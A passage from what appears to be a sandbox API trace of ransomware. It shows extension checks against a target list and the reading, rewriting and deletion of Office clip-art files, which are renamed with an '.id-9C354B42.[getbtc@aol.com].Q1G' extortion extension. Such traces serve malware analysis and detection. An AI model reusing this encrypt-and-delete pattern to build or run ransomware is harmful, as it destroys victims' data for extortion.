lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString=".7z") returned 3 [0264.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.778] lstrlenW (lpString=".dbf") returned 4 [0264.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.778] lstrlenW (lpString=".1cd") returned 4 [0264.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.778] lstrlenW (lpString=".jpg") returned 4 [0264.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.778] lstrlenW (lpString=".doc") returned 4 [0264.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString=".docx") returned 5 [0264.778] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0264.778] lstrlenW (lpString=".pdf") returned 4 [0264.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString=".xls") returned 4 [0264.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.778] lstrlenW (lpString=".xlsx") returned 5 [0264.778] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0264.778] lstrlenW (lpString=".ppt") returned 4 [0264.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.779] lstrlenW (lpString=".zip") returned 4 [0264.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.779] lstrlenW (lpString=".rar") returned 4 [0264.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.779] lstrlenW (lpString=".bz2") returned 4 [0264.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.779] lstrlenW (lpString=".7z") returned 3 [0264.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.779] lstrlenW (lpString=".dbf") returned 4 [0264.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.779] lstrlenW (lpString=".1cd") returned 4 [0264.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned 63 [0264.779] lstrlenW (lpString=".jpg") returned 4 [0264.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.779] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.779] lstrlenW (lpString="J0185790.WMF") returned 12 [0264.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.782] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=20662) returned 1 [0264.782] CloseHandle (hObject=0x3d8) returned 1 [0264.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 0x20 [0264.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.782] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.782] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.783] GetLastError () returned 0x0 [0264.783] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x50b6, lpOverlapped=0x0) returned 1 [0264.834] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x50c0, lpOverlapped=0x0) returned 1 [0264.835] ReadFile (in: hFile=0x3d8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.835] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.835] SetEndOfFile (hFile=0x39c) returned 1 [0264.835] CloseHandle (hObject=0x39c) returned 1 [0264.835] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.835] SetEndOfFile (hFile=0x3d8) returned 1 [0264.837] CloseHandle (hObject=0x3d8) returned 1 [0264.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0264.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.838] lstrlenW (lpString=".doc") returned 4 [0264.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.838] lstrlenW (lpString=".docx") returned 5 [0264.838] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.838] lstrlenW (lpString=".pdf") returned 4 [0264.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString=".xls") returned 4 [0264.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.839] lstrlenW (lpString=".xlsx") returned 5 [0264.839] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.839] lstrlenW (lpString=".ppt") returned 4 [0264.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.839] lstrlenW (lpString=".zip") returned 4 [0264.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.839] lstrlenW (lpString=".rar") returned 4 [0264.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString=".bz2") returned 4 [0264.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString=".7z") returned 3 [0264.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.839] lstrlenW (lpString=".dbf") returned 4 [0264.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.839] lstrlenW (lpString=".1cd") returned 4 [0264.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.839] lstrlenW (lpString=".jpg") returned 4 [0264.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.839] lstrlenW (lpString=".doc") returned 4 [0264.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString=".docx") returned 5 [0264.839] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.839] lstrlenW (lpString=".pdf") returned 4 [0264.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.839] lstrlenW (lpString=".xls") returned 4 [0264.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.839] lstrlenW (lpString=".xlsx") returned 5 [0264.840] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.840] lstrlenW (lpString=".ppt") returned 4 [0264.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.840] lstrlenW (lpString=".zip") returned 4 [0264.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.840] lstrlenW (lpString=".rar") returned 4 [0264.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.840] lstrlenW (lpString=".bz2") returned 4 [0264.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.840] lstrlenW (lpString=".7z") returned 3 [0264.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.840] lstrlenW (lpString=".dbf") returned 4 [0264.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.840] lstrlenW (lpString=".1cd") returned 4 [0264.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned 63 [0264.840] lstrlenW (lpString=".jpg") returned 4 [0264.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.840] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.840] lstrlenW (lpString="J0185806.WMF") returned 12 [0264.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.002] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=30522) returned 1 [0265.002] CloseHandle (hObject=0x37c) returned 1 [0265.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 0x20 [0265.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.003] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.003] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.004] GetLastError () returned 0x0 [0265.004] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x773a, lpOverlapped=0x0) returned 1 [0265.006] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x7740, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x7740, lpOverlapped=0x0) returned 1 [0265.007] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.007] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.007] SetEndOfFile (hFile=0x1bc) returned 1 [0265.007] CloseHandle (hObject=0x1bc) returned 1 [0265.007] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.007] SetEndOfFile (hFile=0x37c) returned 1 [0265.009] CloseHandle (hObject=0x37c) returned 1 [0265.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 1 [0265.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.010] lstrlenW (lpString=".doc") returned 4 [0265.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.010] lstrlenW (lpString=".docx") returned 5 [0265.010] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0265.010] lstrlenW (lpString=".pdf") returned 4 [0265.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.010] lstrlenW (lpString=".xls") returned 4 [0265.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.010] lstrlenW (lpString=".xlsx") returned 5 [0265.010] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0265.010] lstrlenW (lpString=".ppt") returned 4 [0265.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.010] lstrlenW (lpString=".zip") returned 4 [0265.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.011] lstrlenW (lpString=".rar") returned 4 [0265.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString=".bz2") returned 4 [0265.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString=".7z") returned 3 [0265.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.011] lstrlenW (lpString=".dbf") returned 4 [0265.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.011] lstrlenW (lpString=".1cd") returned 4 [0265.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.011] lstrlenW (lpString=".jpg") returned 4 [0265.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.011] lstrlenW (lpString=".doc") returned 4 [0265.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString=".docx") returned 5 [0265.011] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0265.011] lstrlenW (lpString=".pdf") returned 4 [0265.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString=".xls") returned 4 [0265.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.011] lstrlenW (lpString=".xlsx") returned 5 [0265.011] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0265.011] lstrlenW (lpString=".ppt") returned 4 [0265.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.011] lstrlenW (lpString=".zip") returned 4 [0265.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.011] lstrlenW (lpString=".rar") returned 4 [0265.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.011] lstrlenW (lpString=".bz2") returned 4 [0265.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.012] lstrlenW (lpString=".7z") returned 3 [0265.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.012] lstrlenW (lpString=".dbf") returned 4 [0265.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.012] lstrlenW (lpString=".1cd") returned 4 [0265.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned 63 [0265.012] lstrlenW (lpString=".jpg") returned 4 [0265.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.012] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.012] lstrlenW (lpString="J0187647.WMF") returned 12 [0265.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.013] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6596) returned 1 [0265.013] CloseHandle (hObject=0x37c) returned 1 [0265.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 0x20 [0265.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.014] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.014] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.014] GetLastError () returned 0x0 [0265.014] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x19c4, lpOverlapped=0x0) returned 1 [0265.016] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x19d0, lpOverlapped=0x0) returned 1 [0265.017] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.017] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.017] SetEndOfFile (hFile=0x1bc) returned 1 [0265.017] CloseHandle (hObject=0x1bc) returned 1 [0265.017] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.017] SetEndOfFile (hFile=0x37c) returned 1 [0265.019] CloseHandle (hObject=0x37c) returned 1 [0265.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 1 [0265.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.020] lstrlenW (lpString=".doc") returned 4 [0265.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.020] lstrlenW (lpString=".docx") returned 5 [0265.020] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.020] lstrlenW (lpString=".pdf") returned 4 [0265.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.020] lstrlenW (lpString=".xls") returned 4 [0265.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.020] lstrlenW (lpString=".xlsx") returned 5 [0265.020] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.020] lstrlenW (lpString=".ppt") returned 4 [0265.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.020] lstrlenW (lpString=".zip") returned 4 [0265.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.021] lstrlenW (lpString=".rar") returned 4 [0265.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString=".bz2") returned 4 [0265.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString=".7z") returned 3 [0265.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.021] lstrlenW (lpString=".dbf") returned 4 [0265.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.021] lstrlenW (lpString=".1cd") returned 4 [0265.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0265.021] lstrlenW (lpString=".jpg") returned 4 [0265.021] 